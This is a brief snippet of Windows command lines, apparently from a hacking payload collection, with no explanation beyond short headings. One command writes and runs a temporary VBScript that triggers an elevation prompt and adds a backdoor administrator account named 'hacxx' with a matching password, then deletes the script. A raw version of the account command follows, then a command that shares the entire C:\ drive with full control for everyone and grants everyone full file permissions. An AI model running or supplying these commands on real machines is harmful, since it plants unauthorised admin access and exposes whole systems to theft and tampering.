Add administrator account named hacxx with password hacxx on windows with admin escalation
cmd.exe /c echo Set UAC = CreateObject(“Shell.Application”) >%temp%\2b.vbs && echo UAC.ShellExecute “cmd.exe”, “/c net user /add hacxx hacxx && net localgroup administrators hacxx /add”, , “runas”, 1 >>%temp%\2b.vbs && %temp%\2b.vbs && del /q %temp%\2b.vbs
Raw Command
cmd.exe /c net user /add hacxx hacxx && net localgroup administrators hacxx /add
Open network shares - Raw Command
cmd.exe /c NET SHARE shared=C:\ /GRANT:everyone,FULL && echo y| CACLS C:\ /E /T /C /G “everyone”:F